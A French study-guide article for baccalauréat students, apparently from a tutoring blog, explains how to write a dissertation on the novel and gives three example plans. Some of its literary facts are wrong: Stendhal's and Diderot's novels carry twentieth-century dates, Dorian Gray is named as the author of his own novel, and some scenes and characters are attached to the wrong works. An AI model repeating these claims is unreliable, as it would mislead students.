conclusion dissertation personnage de roman

La dissertation sur le roman expliquée en quelques exemples de plans

  • Ines Jacques
  • 12 Fév 2024

À lire dans cet article :

conclusion dissertation personnage de roman

Tu prépares le baccalauréat de français 2024 ? Nous ne t’avons pas oublié(e) ! Dans ce nouvel article, nous faisons le point avec toi sur la dissertation et plus précisément sur celles qui portent sur le roman. Pour que tu y aies une idée précise de ce qui est attendu de toi le jour de l’épreuve, nous te donnons des exemples de plans. C’est le moment de prendre quelques petites notes, si tu souhaites briller de mille feux lors de l’épreuve écrite de français. 

Eh oui, il est important que tu saches comment te comporter face à une dissertation. L’impasse est interdite sur cette épreuve coefficient 5 ! Bien souvent les candidats sont effrayés par la dissertation, qu’ils pensent plus compliquée que le commentaire de texte… à tort. La dissertation est avant tout une histoire de méthode.

Alors, ne fais pas l’impasse sur tes révisions de dissertation. On ne sait jamais, le jour de l’examen, tu seras beaucoup plus inspiré(e) par l’un des deux sujets de dissertation ! Auquel cas, impossible de te tirer une balle dans le pied en choisissant le commentaire de texte par dépit. C’est pourquoi le team Au Futur vient à ta rescousse !

Comment réussir sa dissertation sur le roman ? C’est la question à laquelle nous allons tenter de répondre ! Lors de l’épreuve écrite du baccalauréat de français, la dissertation est souvent une grande source d’angoisse et d’appréhension chez les candidats. Et pourtant, une bonne dissertation n’est qu’une affaire de méthode et d’entraînement. Tu trouveras ci-dessous trois exemples de plans de dissertation sur le roman afin de faire de toi un(e) véritable professionnel(le) de cet exercice !

La dissertation sur le roman : quelques conseils méthodologiques 

Comme un grand nombre d’exercices en français, la dissertation répond à différentes règles. Pour rédiger une (très !) bonne dissertation le jour de l’épreuve, nous te conseillons de prendre en compte les quelques conseils ci-dessous : 

  • Surligner les mots-clés  avec un code couleur.
  • Noter , pour chaque mot-clé, tout ce à quoi ça nous fait penser (faire des rappels avec le code couleur) : en donner une définition (dans le contexte), des exemples, des synonymes, des antonymes, etc. En bref, tout ce qui te vient à l’esprit (ça peut toujours servir !).
  • Mettre en relation les termes et voir ce que ça donne : les points qui se recoupent, les divergences, les questions soulevées, etc.  De cette mise en relation des termes doivent apparaître les paradoxes.  
  • Bien penser à donner des exemples pour chaque argument et citer les exemples pour appuyer l’argumentation.

L’introduction de la dissertation sur le roman

L’introduction  est très importante dans une dissertation, car c’est ce par quoi va commencer le correcteur. Une bonne introduction annonce un bon devoir (et c’est exactement l’impression que tu veux donner à ton correcteur, non ?).

La structure de l’introduction

La structure de l’introduction suit une certaine logique, que tu retrouveras ci-dessous : 

  • Lorsque c’est possible, ne pas hésiter à démarrer ton introduction avec une accroche qui présentera les différents éléments de l’argumentation (exemple : dans une dissertation sur l’héroïsme du héros de roman, une accroche sur Quasimodo, le héros du roman Notre-Dame de Paris de Victor Hugo, permet de remettre en question l’idée de l’héroïsme et de la beauté du héros de roman).
  • Énoncer le sujet tel qu’il est donné.
  • Définir les mots-clés du sujet (être concis) en en donnant différents sens. Les mettre rapidement en relation pour faire émerger le(s) paradoxe(s).

Les deux derniers points de l’introduction doivent être dédiés à l’annonce de la problématique et du plan de la dissertation.

La structure de la dissertation

I. La réponse la plus évidente à la question / affirmation posée, ce que l’on répondrait instinctivement et qui peut être appuyé par des éléments que l’on a notés sur le brouillon.

II. Le(s) paradoxe(s) , les éléments qui posent problème, il peut être intéressant de rebondir sur les premiers arguments avancés en première partie pour adopter un autre point de vue et mettre en évidence leur aspect problématique et les paradoxes soulevés. Ne pas se contredire tout de même.

III. Essayer de dépasser le(s) paradoxe(s) donnés en deuxième partie, ne pas rester bloqué(e) dans une impasse. Plusieurs possibilités s’offrent à toi : développer, sur un sens secondaire, un terme clé pour adopter un autre filtre d’analyse, étudier la position d’un acteur secondaire dans l’énoncé, jouer sur le pluriel/singulier etc. Une partie en général très personnelle, faite sur mesure par rapport à l’objet d’étude et au sujet qui rédige l’analyse.

La structure de chaque partie

I. L’argument résumé en une ou deux phrases. 

II. Développement de l’argumentation.

III. Appui de l’argument grâce à un exemple et une/des citations

IV. Une petite phrase conclusive sur l’argument développé et sur l’exemple pris.

Remarques plus spécifiques : bien penser à s’aider des différents sens des mots clefs pour avancer dans l’argumentation et la structurer, utiliser des mots de liaison (quelques exemples : tout d’abord, ensuite, enfin, toutefois, cependant, en revanche, de plus, de même, etc.) afin de structurer la dissertation, d’être bien clair et rigoureux dans la démonstration.

Nous avons choisi ces trois sujets de dissertation sur le roman, car ils traitent de trois éléments majeurs en littérature romanesque : le romancier, le personnage de roman et le lecteur.

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Sujet de dissertation :   Pour apprécier un roman, le lecteur doit-il s’identifier au personnage principal et partager ses sentiments ?

En premier lieu, nous te conseillons de faire une analyse rapide des mots-clés de ton sujet.

Apprécier : estimer quelque chose, lui reconnaître une valeur et des qualités, aimer, goûter, juger de la valeur de quelqu’un ou de quelque chose (apprécier des meubles différemment) et évaluer approximativement une chose mesurable (apprécier une distance).

Antonyme : ne pas aimer, détester.

Roman : ici fais surtout référence à l’objet matériel, au livre que l’on a en main. Une œuvre romanesque (exemple : Notre-Dame de Paris , Victor Hugo), caractérisée par un récit, une narration avec des personnages et une ou plusieurs intrigues. Dans le cadre d’une dissertation sur le roman, il est primordial de savoir précisément à quoi renvoie le terme roman.

Lecteur : l’acteur du pôle de la lecture, celui qui fait d’une certaine manière face à l’écrivain par le biais du livre. L’acteur qui a accès à l’œuvre écrite, qui rencontre dans la lecture les personnages et leurs histoires.

S’identifier : d evenir identique à une autre personne ou chose, adhérer à une idée ou chose (s’identifier à un groupe), chercher à ressembler à une autre personne et penser être identique (s’identifier à ses parents).

Antonyme : se sentir différent, se différencier.

Personnage principal : le protagoniste du roman, le personnage central de l’œuvre que le lecteur rencontre le plus dans la lecture. C’est en général le personnage sur lequel le lecteur a le plus d’informations et dont on connaît les actions, les états d’âme et les émotions.

Partager : posséder quelque chose avec une ou plusieurs personnes (partager le pouvoir), diviser quelque chose en plusieurs parties (partager un gâteau) et les répartir entre plusieurs acteurs. Deux types de relation : d’union ou de division.

Sentiments : état affectif complexe et durable lié à des émotions ou des représentations, le sentiment amoureux en littérature, un penchant bon ou mauvais (les sentiments nobles), un opinion ou avis sur quelque chose (partagez-vous mon sentiment à ce sujet ?), une connaissance plus ou moins claire et immédiate (j’ai le sentiment que…). À la fois émotionnel, irraisonné et raisonnable, interne au sujet. Va avec la notion de partage.

Ensuite, tu peux t’interroger sur les notions que nous avons vues un peu plus haut :

Évidence : dans la mesure où le lecteur accède au roman à travers ses personnages, et notamment son personnage principal, et où il s’investit émotionnellement dans le récit grâce aux expériences, émotions et pensées du protagoniste, nous pouvons affirmer que le lecteur doit s’identifier au personnage principal et partager ses sentiments pour apprécier un roman.

Paradoxes : cependant, le raisonnement à l’œuvre lors de l’appréciation d’une œuvre implique-t-il toujours une identification émotionnelle au protagoniste? De plus, les personnages principaux étant complexes et divers, peut-on toujours partager leurs sentiments? De manière générale, peut-on vraiment réduire l’appréciation d’une œuvre à l’identification sentimentale du lecteur au personnage principal ?

Dépassement des paradoxes : finalement, peut-être que la clef de l’appréciation émotionnelle d’une œuvre est la tentative d’identification du lecteur au personnage principal et de partage des sentiments. C’est une démarche qui semble automatique de la part du lecteur, un effort constant.

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Le plan de la dissertation

I. Dans la mesure où le lecteur accède au roman à travers ses personnages, et notamment son personnage principal, et où il s’investit émotionnellement dans le récit grâce aux expériences, émotions et pensées du protagoniste, nous pouvons affirmer que le lecteur doit s’identifier au personnage principal et partager ses sentiments pour apprécier un roman.

I.1. La première rencontre du lecteur avec l’œuvre est sentimentale : il lui faut donc s’identifier au personnage principal et partager ses sentiments s’il veut accrocher avec l’œuvre. Exemple : Aurélien, Aragon. Le protagoniste, aussi narrateur personnage du roman, a des sentiments et des émotions très fortes que le lecteur ressent et partage. C’est notamment le cas pour les sentiments amoureux qu’il voue à Bérénice. Le fait qu’ils soient largement exprimés dans le texte permet au lecteur de s’identifier au personnage, de se sentir proche de lui et d’entrer dans un œuvre qu’il apprécie.

I.2. Le sens “aimer” du verbe apprécier : pour aimer une œuvre, le lecteur doit pouvoir s’identifier au personnage principal, se sentir proche de lui et l’aimer donc partager ses sentiments. Exemple : le personnage de Quasimodo dans Notre-Dame de Paris de Victor Hugo. La puissance des sentiments de Quasimodo, montrés par une narration aux registres pathétique et épique et par l’alternance entre la focalisation interne et externe, touche le lecteur et malgré la difformité caractéristique du personnage (bossu) il s’identifie à celui-ci. Le lecteur se sent proche de Quasimodo lorsqu’il observe Esmeralda avec admiration et douceur, lorsqu’il la sauve de la pendaison et la cache dans la cathédrale de Notre-Dame de Paris alors qu’il est repoussé par celle qu’il aime, lorsqu’il la cherche partout dans la nuit où elle sera pendue et assiste impuissant à sa mort… La force de ses sentiments, tant heureux que tristes, touche le lecteur et crée un lien entre le personnage et lui. Le lecteur apprécie le roman parce qu’il aime Quasimodo et se sent émotionnellement proche de lui.

I.3. La distance entre le lecteur et l’œuvre : il est nécessaire pour pouvoir totalement entrer dans l’histoire de s’identifier au personnage principal, d’être proche de lui. Cela va avec le premier sens du verbe “s’identifier”, devenir identique. Exemple : Le Rouge et le Noir , Stendhal (1972). Le lecteur actuel, qui n’a pas connu l’époque dans laquelle a lieu la narration, entre dans l’histoire en partie grâce à son identification au personnage de Julien Sorel. Ce jeune homme, amoureux d’une femme plus âgée qui semble inaccessible, touche le lecteur par la force et la jeunesse de ses sentiments. L’amour et le désir étant des sentiments communs à tous les êtres humains, le lecteur s’identifie évidemment au personnage principal. C’est ce qui lui permet d’entrer dans le récit, dans l’intrigue.

II. Cependant, peut-on vraiment réduire l’appréciation d’une œuvre à l’identification sentimentale du lecteur au personnage principal et au partage des mêmes sentiments ?

II.1. Le second sens du verbe apprécier : la raison est aussi importante dans l’appréciation d’une œuvre, dans son évaluation. L’aspect sentimental n’est pas nécessaire pour évaluer une œuvre. Exemple : Jacques le Fataliste et son maître , Diderot (1973). Dans le cadre d’une appréciation définie comme jugement, la complexité technique du roman est le critère d’évaluation. Le lecteur apprécie ce roman, car il est d’une complexité intrigante et intéressante. Il le juge bon, car raisonnablement, c’est une prouesse technique. Dans ce cas, la raison est suffisante pour apprécier un roman.

II.2. La différence de caractère entre le lecteur et le personnage principal du roman peut engendrer la curiosité du lecteur : il n’est pas toujours nécessaire de s’identifier au personnage principal pour apprécier une œuvre. Exemple : L’étranger de Camus. Le personnage principal de ce roman, antipathique et perturbant pour le lecteur, le surprend et va être une source de curiosité. Cette originalité de l’œuvre va être le critère d’appréciation du lecteur. Il n’a parfois pas besoin de s’identifier au personnage principal ou de partager ses sentiments pour apprécier un roman.

II.3 . La figure de l’anti-héros qui ressent des sentiments destinés à choquer et à dégoûter le lecteur, donc à piquer sa curiosité : partager les sentiments du personnage principal n’est pas toujours obligatoire pour apprécier une œuvre. Exemple :   Les Bienveillantes, Jonathan Littell. Le personnage principal prend du plaisir en observant une exécution et est acteur dans le processus d’extermination des juifs par les nazis. Il apparaît détestable aux yeux du lecteur, ses actions et pensées le choquent. Dans ces cas-là, le dégoût est la source d’intérêt du lecteur. Il ne s’identifie pas au personnage principal ni ne partage ses sentiments, le dégoût et le mépris qu’il lui porte sont ce qui lui font apprécier le roman.

III. Finalement, peut-être que la clef de l’appréciation émotionnelle d’une œuvre est la tentative d’identification du lecteur au personnage principal et de partage des sentiments. C’est une démarche qui semble automatique de la part du lecteur, un effort constant.

III.1. La différence de caractère entre le personnage principal et le lecteur engendre un désir de compréhension de la part du second acteur : même lorsque le personnage principal présente de nombreuses différences avec le lecteur, la démarche la plus naturelle de la part de celui-ci est le désir de compréhension. Le lecteur essaye constamment de comprendre le personnage de roman, c’est une manière de s’identifier à lui, car il tente de se mettre à sa place. Et c’est une démarche qui suscite l’appréciation du lecteur. Exemple : Madame Bovary , Flaubert. Le personnage principal est une femme qui, épouse d’un officier de santé et vivant en pleine campagne, rêve d’une vie noble et trépidante très loin de ce cadre de vie. Ses rêveries constantes, inspirées des romans à l’eau de rose, en font un personnage très particulier. Néanmoins, le lecteur va instinctivement tenter de comprendre pourquoi elle prend des amants et pourquoi elle s’échappe dans un monde imaginaire où elle se rêve en princesse de Cour. Malgré la différence de caractère entre le personnage principal et le lecteur, cette démarche de compréhension permet l’appréciation de l’œuvre.

III.2. Tout sentiment du personnage principal peut essayer d’être compris par le lecteur : partager les sentiments du personnage principal de manière immédiate n’est pas toujours nécessaire pour apprécier un roman, la tentative de compréhension est une autre voie d’appréciation des œuvres. Naturellement, le lecteur va tenter de comprendre les raisons qui poussent le personnage à avoir des sentiments qu’il ne partage pas. Il se met dans la peau du personnage et peut parfois parvenir à partager des sentiments qui lui étaient extérieurs dans un premier temps. Exemple : Notre-Dame de Paris , Victor Hugo . Le personnage de Claude Frollo, dont l’attitude par rapport à Esmeralda est très violente et inconstante, présente de grandes différences de caractère avec un lecteur lambda. Celui-ci peut avoir des difficultés à comprendre pourquoi Claude sabote les interventions publiques d’Esmeralda et organise la mise à mort de celle qu’il aime. Mais ce qui va permettre au lecteur d’apprécier l’œuvre est sa démarche de tentative de compréhension des actions de Claude : ce personnage frustré, rongé par le désir et possessif, fait tout pour ne pas céder à ses pulsions et contrôler la situation. Face à une femme qui l’attire et qui repousse ses avances, il l’éloigne et fait en sorte que personne d’autre que lui ne l’ait. Cette compréhension acquise, le lecteur apprécie le roman.

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La conclusion

Revenir chronologiquement sur les éléments majeurs de l’analyse de la dissertation sur le roman. Si possible, terminer avec une ouverture sur une possibilité non explorée dans l’analyse.

Les éléments à évoquer : pour aimer une œuvre, il semble tout d’abord évident que le lecteur doive s’identifier au personnage principal et partager ses sentiments. C’est une manière d’entrer dans l’œuvre, d’accrocher avec elle. Cependant, l’appréciation d’une œuvre par le lecteur ne nécessite pas toujours de satisfaire ces critères. La raison et la curiosité suscitée par la différence sont d’autres critères d’appréciation d’une œuvre. Enfin, ce qui compte peut-être le plus pour l’appréciation d’une œuvre est la démarche de tentative de compréhension, d’identification et de partage des sentiments du personnage principal de la part du lecteur.

Sujet de dissertation : Le roman doit-il toujours représenter le monde tel qu’il est ?

Roman : tant l’objet matériel (le livre) que le genre romanesque. Comme dit précédemment, dans le cadre d’une dissertation sur le roman, il est primordial de définir ce terme.

Doit : le verbe devoir, une obligation, un devoir, une convention ou un sentiment de devoir.

Toujours : sans cesse, sans exception.

Représenter … tel qu’il est : dessiner à l’identique, re-présenter = présenter de nouveau donc recréer, redessiner.

Monde : le monde réel, l’espace dans lequel l’humanité vit. Ce qui nous entoure, tant la Terre que le cosmos.

Évidence : dans le sens où le roman est par nature fictif, c’est-à-dire un lieu d’invention et de création d’un monde à partir de ce que nous connaissons,il semble difficile d’affirmer que le roman doit toujours représenter le monde tel qu’il est. Il façonne un monde nouveau né de ses expériences, connaissances et idées.

Paradoxes : cependant, une écriture déconnectée du monde présente le risque de ne plus le représenter du tout. Le “poète dans sa tour d’ivoire” qui représente un monde trop inconnu pour le lecteur prend le risque de ne plus réussir à communiquer avec son lecteur.

Dépassement des paradoxes : finalement, afin de représenter au mieux le monde et de transmettre quelque chose au lecteur, le roman doit peut-être associer le réalisme, la représentation telle quelle et la fiction ; et choisir le bon moment pour adopter un style ou un autre.

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I. Dans le sens où le roman est par nature fictif, c’est-à-dire un lieu d’invention et de création d’un monde à partir de ce que nous connaissons, il semble difficile d’affirmer que le roman doit toujours représenter le monde tel qu’il est. Il façonne un monde nouveau né de ses expériences, connaissances et idées.

I.1. La nature fictive du roman : le genre romanesque est caractérisé par la fiction narratologique donc par la création d’une version “fausse” du monde qui nous entoure. Par nature, le roman ne doit donc pas représenter le monde tel qu’il est. C’est un exercice de style. Exemple : Flaubert, extrait de sa lettre à Louise Colet (16 janvier 1852) : “ce que je voudrais faire, c’est un livre sur rien, un livre sans attache extérieure, qui se tiendrait de lui-même par la force de son style.”

I.2. La grande part d’invention dans le travail d’écriture d’un roman, le verbe re-présenter : l’écriture d’un roman implique une grande part d’invention de la part du romancier, il crée un univers fictif tant à partir de ses expériences réelles que de ses idées. Les romanciers revendiquent ceci, c’est une démarche caractéristique de l’écriture romanesque. Le roman ne doit donc pas, par nature, toujours représente le monde tel qu’il est. Exemple : Fiction et diction , Gérard Genette. Ce spécialiste du roman insiste sur son caractère fictionnel.

I.3. La liberté des romanciers dans le choix de la part de fiction et de réalité : les romanciers revendiquent une certaine liberté quant à leur travail d’écriture, ils sont libres de choisir la part de fiction dans l’élaboration du monde fictif. Le devoir de toujours représenter le monde tel qu’il est est plutôt celui de l’historien.  Exemple : La fiction et les faits , Antony Beevor. Il distingue le romancier et l’historien par le recours à la fiction ou aux faits.

II. Cependant, une écriture déconnectée du monde présente le risque de ne plus le représenter du tout. Le romancier “dans sa tour d’ivoire” qui représente un monde trop inconnu pour le lecteur prend le risque de ne plus réussir à communiquer avec son lecteur.

II.1. La difficulté de lecture et de compréhension d’un roman qui représente un monde très différent du lecteur : une œuvre qui représente un monde totalement inconnu, abstrait et parfois absurde pour le lecteur présente des difficultés de lecture et risque d’être incomprise par le lecteur. Un écart trop grand entre le monde réel et la manière dont il est représenté dans le roman peut ainsi engendrer une œuvre qui ne représente rien pour le lecteur. Exemple : critiques faites au surréalime et au symbolisme, et à des auteurs comme André Breton ou Mallarmé. Leurs œuvres sont qualifiées d’hermétiques, donc incompréhensibles et illisibles (exemple : Nadja, Breton).

II.2. Le risque d’une écriture élitiste, hautaine, car déconnectée du monde réel : un reproche possible à un roman qui ne représente pas le monde tel qu’il est sa déconnexion avec la réalité du peuple. C’est le reproche qui est fait au “poète dans sa tour d’ivoire” qui surplombe le monde, la réalité quotidienne et ne représente pas le monde dans ses œuvres.  Exemple : Théophile Gautier revendique cette position dans la préface d’ Albertus (1852), “L’auteur du présent livre n’a vu du monde que ce que l’on voit par la fenêtre, et il n’a pas envie d’en voir davantage.”

III. Finalement, afin de représenter au mieux le monde et de transmettre quelque chose au lecteur, le roman doit peut-être associer le réalisme, la représentation telle quelle et la fiction ; et choisir le bon moment pour adopter un style ou un autre.

III.1. Bien répartir la part de fiction et de représentation du monde tel quel afin de donner plus de vraisemblance au roman. Parfois, mélanger la représentation du monde et l’élaboration fictionnelle peut donner plus de réalité au monde représenté. La fiction comme complément du réel, lorsqu’elle est bien dosée, donne de la vraisemblance au monde du roman. Exemple : Notre-Dame de Paris , Victor Hugo (1831) : la représentation de la Cour des Miracles dans le chapitre de “La Cruche Cassée”. Cet espace, peuplé par des brigands et des éclopés, est une légende parisienne. Les livres historiques disent qu’elle a existé, mais elle n’apparaît sur aucune carte topographique de Paris de l’époque. Or Victor Hugo en fait un espace central du roman, perdu au milieu des ruelles, fantastique, effrayant et parodique. Il lui donne une réalité dans le roman. Et ceci donne un caractère vraisemblable au Paris représenté dans la narration.

III.2. Choisir le bon moment pour représenter le monde tel quel ou au contraire avoir recours à la fiction : afin de représenter au mieux le monde et de lui donner un caractère réel et vraisemblable dans le récit, l’auteur doit choisir sa posture selon le moment. Exemple : Notre-Dame de Paris , Victor Hugo (1831). De nombreux éléments sont des faits historiques, mais ces éléments côtoient les élaborations fictionnelles. Victor Hugo choisit avec ingéniosité quand représenter le monde tel qu’il est et avoir recours à la fiction. Par exemple, les chapitres centrés sur l’architecture de Paris (“Paris à vol d’oiseau”, “Notre-Dame de Paris”) décrivent presque historiquement le monde représenté. Les détails architecturaux sont nombreux et il peint le Paris de son époque. Mais d’autres chapitres plus fictionnels quant au monde (L’élection de Quasimodo comme pape des fous au Livre I par exemple) nous ramènent à la définition même du roman et aux intrigues du roman. La scène où Quasimodo est élu enrichit le personnage principal du roman, annonce son importance future autant qu’elle présente une tradition du peuple de Paris. Ce passage donne de la vraisemblance au roman et fait avancer l’intrigue. Victor Hugo, en alternant entre la représentation réelle du monde et l’élaboration fictionnelle, construit un monde vraisemblable et convaincant pour le lecteur.

Les points à aborder :  par nature, le roman ne tend pas à toujours représenter le monde tel qu’il est. Pourtant, une distance trop grande entre le monde et la représentation romanesque peut comporter des risques tels que l’incompréhension et le reproche d’orgueil. Finalement, le roman doit peut-être associer la représentation calquée du monde et la fiction pour créer un monde vraisemblable et convaincant.

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Sujet de dissertation : Dans quelle mesure le personnage de roman donne-t-il au lecteur un accès à la complexité de l’âme humaine ?

Attention : les sujets de dissertation sur le roman du type “dans quelle mesure” sont spécifiques et n’appellent pas une réponse du type oui / non. La manière la plus facile de traiter ce type de sujet est de structurer le plan avec les différents sens de “dans quelle mesure” : Comment ? À quel point ? Dans quelles conditions ?  (le sens des questions peut être inversé pour traiter au mieux le sujet)

Personnage de roman : le personnage créé par l’auteur au sein de son roman, le protagoniste du roman.

Donne … un accès : donne au lecteur une voie d’accès à quelque chose, un filtre de compréhension de quelque chose.

Lecteur : l’acteur du pôle de la lecture, celui qui lit l’œuvre.

Complexité de l’âme humaine : l e caractère complexe de l’âme humaine, ce qui la rend difficile à saisir et à rendre. La complexité va avec la diversité, l’entrelacement de différents éléments et la difficulté d’intelligibilité.

Comment : dans la mesure où le personnage de roman est un être humain dont les pensées, les sentiments et les émotions parfois contradictoires sont donnés au lecteur, il donne un accès à la complexité de l’âme humaine à celui qui lit. Le recours au narrateur personnage, aux différents types de discours et à la description sont des moyens littéraires  majeurs pour donner au lecteur un accès à la complexité de l’âme humaine.

À quel point : Il faut néanmoins nuancer l’affirmation catégorique selon laquelle le personnage de roman donnerait au lecteur un accès à la complexité de l’âme humaine. Les personnages de romans archétypiques sans réelle profondeur ainsi que ceux dont on ne connaît que très peu de choses ne donnent pas réellement au lecteur un accès à la complexité de l’âme humaine. Il y a une mesure à ce processus.

Dans quelles conditions : afin de dépasser cette impasse, nous pouvons nous demander quels personnages de romans donnent un accès à la complexité de l’âme humaine. (Une typologie est toujours appréciée dans une dissertation).  

I. Quels sont les moyens utilisés pour que le personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?

I.1. Le narrateur personnage : la focalisation interne donne au lecteur un accès aux pensées, réflexions et émotions du personnage de roman. Étant généralement un personnage complexe en proie à des doutes, des émotions contradictoires ou des pensées problématiques, son âme reflète la complexité de l’âme humaine. Y avoir accès nous donne donc un accès à la complexité de l’âme humaine. Exemple : Les Années , Annie Ernaux (2008). Le narrateur personnage représenté par le pronom “on” (autobiographie déguisée d’Annie Ernaux) raconte sa vie de femme dans les années 1960 en évoquant des émotions fortes et contrastées. Le fait qu’Annie Ernaux raconte ses expériences, émotions et épreuves à la première personne du pluriel nous donne accès à la complexité de son âme, et donc à la complexité de l’âme humaine.

I.2. Le flux de conscience : ce procédé littéraire qui consiste à inscrire dans le texte le flux de pensées d’un personnage sans le structurer, laissant l’âme s’exprimer librement, reflète parfaitement la manière complexe dont fonctionne le flux de pensées des hommes. Ce type de discours permet au personnage de roman de donner au lecteur un accès à la complexité de l’âme humaine. Exemple : Mrs Dalloway, Virginia Woolf (1925). Ce roman, caractérisé par le récit à la première personne et le flux de conscience de Mrs Dalloway (narratrice), offre au lecteur un accès à la complexité de l’âme humaine à travers son personnage principal. Ses perpétuelles hésitations, digressions et évolutions, données grâce au procédé d flux de conscience, reflètent le fonctionnement de l’être humain. De même que Mrs Dalloway, nos pensées et décisions s’entremêlent à chaque instant.

I.3. Le portrait détaillé : la construction détaillée du portrait d’un personnage de roman donne un accès à la complexité de l’âme humaine. Le portrait détaillé d’un personnage est une description dans laquelle apparaissent l’histoire complexe de sa vie, ses sentiments vis-à-vis de son entourage et du monde ou même ses idées dans divers domaines comme la manière de vivre, la philosophie ou la société. Ce portrait pourrait tout à fait être celui d’un homme ou d’une femme du monde réel que l’on connaît. Ce portrait, applicable tant au personnage de roman qu’à l’homme réel, est donc un moyen littéraire essentiel pour donner au lecteur un accès à la complexité de l’âme humaine. Exemple : Le personnage de Claude Frollo dans Notre-Dame de Paris de Victor Hugo. C’est un archidiacre pour qui le respect des lois morales et religieuses est essentiel. Il est bon avec son frère et Quasimodo, enfant abandonné qu’il a adopté. Mais il est aussi rongé par le désir et la jalousie, ce qui l’amène à maltraiter Esmeralda (dont il est amoureux), à tenter de tuer le chevalier Phoebus (par jalousie) et à prendre ses distances par rapport à son protégé Quasimodo. Son trouble est intense, comme le montre le chapitre où il déambule dans Paris et ne fait que tourner en rond. Le portrait très complet qui en est donné donne au lecteur un accès à la complexité de l’âme humaine.

II. À quel point le personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?

II.1. Les personnages de romans archétypiques construits dans une réelle profondeur, existent par leur apparence et non par la complexité de leur âme : parfois, les auteurs choisissent de construire de personnages archétypiques afin qu’ils représentent une certaine classe sociale, une attitude ou un type de personnes de la société. Ces personnages sont caractérisés par une existence apparente et des traits forcés. L’auteur leur donne peu de profondeur. Leur rôle n’est pas de donner un accès à la complexité de l’âme humaine, mais bien de représenter artificiellement un type de personnes. Exemple : L’éducation sentimentale , Flaubert. Le personnage principal est le héros romantique par excellence, tant par son physique que par son caractère sensible et ses activités préférées (la contemplation, l’observation). Il est l’archétype du héros romantique. La scène où les deux amants sont sur une barque et entonnent des vers est une caricature de l’entretien amoureux. La fonction de ce personnage n’est donc pas de donner accès à la complexité de l’âme humaine, il représente un genre dans le cadre d’une caricature.

II.2. Le narrateur omniscient et les descriptions peu détaillées associés au personnage de roman ne permettent pas au lecteur d’avoir un accès à la complexité de l’âme humaine : le discours peut instaurer une distance entre le personnage de roman et le lecteur, ce qui complique l’accès à la complexité de l’âme humaine. Les outils majeurs de cette mise à distance sont le narrateur omniscient et les descriptions très superficielles. Exemple : Le personnage de Bérénice dans Aurélien , d’Aragon. Ce personnage féminin est présenté au lecteur par le biais du regard d’Aurélien, nous ne connaissons pas ses pensées et Aurélien en donne des descriptions principalement corporelles. Sans une focalisation interne de Bérénice et des descriptions développées de ses états d’âme, ce personnage ne permet pas au lecteur de saisir pas la complexité de l’âme humaine.

III. Finalement dans cette dissertation, quel personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?

III.1. Le personnage de roman torturé par des sentiments forts et contradictoires : ce type de personnage donne au lecteur un accès à la complexité de l’âme humaine, car les sentiments contradictoires qui le traversent sont aussi ceux du lecteur. Cette situation de trouble peut aussi bien toucher le personnage que le lecteur. Exemple : Le personnage masculin du chevalier des Grieux dans Manon Lescaut, de l’Abbé Prévost. Ce personnage est amoureux de Manon Lescaut, une jeune femme inconstante qui après avoir vécu une histoire d’amour avec le jeune homme va le tromper, le quitter et lui demander de l’argent. Celui-ci, tiraillé entre l’amour qu’il lui porte et la méfiance, la rancœur et la douleur, est sujet à des fortes émotions contradictoires. Les moments où il lui déclare un amour inconditionnel côtoient ceux où il affirme la détester. Or cette cohabitation de l’amour et de la haine est caractéristique de l’être humain amoureux tantôt approuvé, tantôt repoussé par celle qu’il aime. Ce personnage torturé donne donc accès à la complexité des sentiments humains.

III.2. Le personnage de roman vraisemblable : un personnage de roman qui ressemble aux êtres humains dans son fonctionnement, ses actions et ses sentiments donne accès à la complexité de l’âme humaine, car il en est le reflet. Sa grande ressemblance avec le genre humain en fait un personnage particulièrement efficace dans l’accès à une âme humaine complexe. Exemple : Germinal , Zola (roman réaliste). Les personnages de ce roman (Gervaise, son fils et les mineurs principalement) sont représentatifs de la vie liée à la lutte des classes. Leurs états d’âme, leurs actions ainsi que leurs décisions sont les reflets du genre humain dans le cadre d’une situation d’affrontement des différentes classes sociales.

III.3. L’anti-héros : l’anti-héros, de prime abord très différent du lecteur, peut aussi lui donner un accès à la complexité de l’âme humaine, car il représente la face cachée de l’homme. Cette face, que tous les êtres humains connaissent sans vouloir y penser, est ce qui fait que l’homme est homme. La cohabitation de qualités et de défauts constitue la complexité de l’âme humaine. Ainsi, un anti-héros laid, mauvais, avare ou arrogant donne au lecteur un accès à la face sombre de l’homme. Exemple : Le portrait de Dorian Gray, Dorian Gray. Le personnage principal de ce roman, rongé par le désir de pouvoir et de beauté, va devenir cruel et indifférent à ceux qui l’entourent. Cet égoïsme extrême, cette soif de pouvoir et de perfection sont des traits sombres de l’humain. Ce personnage, par son renoncement à la morale et sa chute dans la recherche de la perfection, reflète la tentation de la noirceur, de l’immoralité et de l’égoïsme chez l’homme. Il donne accès à la face cachée de l’humanité, donc à sa complexité.

Lire aussi : Les mouvements littéraires et leurs caractéristiques

Revenir chronologiquement sur les éléments majeurs de l’analyse de la dissertation sur le roman. Si possible, terminer avec une ouverture sur une possibilité non explorée dans l’analyse de la dissertation sur le roman.

Les éléments à évoquer : d ans les cas où le personnage de roman est narrateur personnage, où ses pensées sont données telles quelles et où son portrait est très détaillé ; il donne au lecteur un accès à la complexité de l’âme humaine. Toutefois, il y a des limites à ce processus. Les personnages de romans typiques ou ceux dont le portrait peu détaillé est donné par un narrateur omniscient ne donnent pas forcément cette chance au lecteur. Finalement, une typologie du type de personnage de roman qui donne accès à la complexité de l’âme humaine donne une idée plus précise de la fonction de ce personnage. Le personnage de roman torturé, le personnage vraisemblable et l’anti-héros sont trois types de personnages qui donnent cet accès à la complexité humaine.

En plus de réussir une bonne dissertation sur le roman, grâce à cette fiche que tu viens de lire attentivement, nous t’invitons à découvrir nos conseils pour avoir 20/20 au baccalauréat de français !

Conseils pour réussir ta dissertation au baccalauréat de français 

Parce que toute l’équipe Au Futur souhaite que tu réussisses avec brio l’épreuve de la dissertation de français, voici quelques conseils que tu peux précieusement adopter pour avoir une méthodologie efficace : 

Faire un brouillon de qualité

On te conseille évidemment de faire un brouillon avant de commencer directement ta rédaction au propre. Pour faire un brouillon efficace, on a une technique infaillible : consacrer une feuille de brouillon par partie puis écrire uniquement sur le recto. Avec cette technique, tu as une vue d’ensemble sur tes idées.

Ne pas relire ta copie à la fin !

